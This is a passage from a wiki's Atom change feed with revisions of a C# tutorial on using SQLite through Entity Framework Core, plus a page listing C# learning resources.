            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2329</id>
		<title>Programming/CSharp - Basics and Examples</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2329"/>
		<updated>2026-02-26T11:21:04Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page .NET/CSharp - Basics and Examples to Programming/CSharp - Basics and Examples&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2023-03-nbc8i22ia3091.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Learning Sources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/ Programming Concepts - C# | Microsoft Learn] -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.iamtimcorey.com/courses/csharp-mastercourse/ C# Mastercourse - IAmTimCorey] - If you&#039;re starting out, this is the best place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.thecsharpacademy.com/ The C# Academy] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://codecrafters.io/pricing CodeCrafters | Advanced programming challenges] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The C# Player&#039;s Guide (5th Edition) - Great book about learning Csharp. Takes you from basic, and have a gaming way of teaching.&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2328</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2328"/>
		<updated>2026-02-26T11:20:56Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;BloggingContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2327</id>
		<title>Programming/CSharp - Basics and Examples</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/CSharp_-_Basics_and_Examples&amp;diff=2327"/>
		<updated>2026-02-26T11:20:44Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:2023-03-nbc8i22ia3091.webp|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Learning Sources ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/ Programming Concepts - C# | Microsoft Learn] -&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.iamtimcorey.com/courses/csharp-mastercourse/ C# Mastercourse - IAmTimCorey] - If you&#039;re starting out, this is the best place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.thecsharpacademy.com/ The C# Academy] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://codecrafters.io/pricing CodeCrafters | Advanced programming challenges] - Learn by doing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The C# Player&#039;s Guide (5th Edition) - Great book about learning Csharp. Takes you from basic, and have a gaming way of teaching.&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
</feed>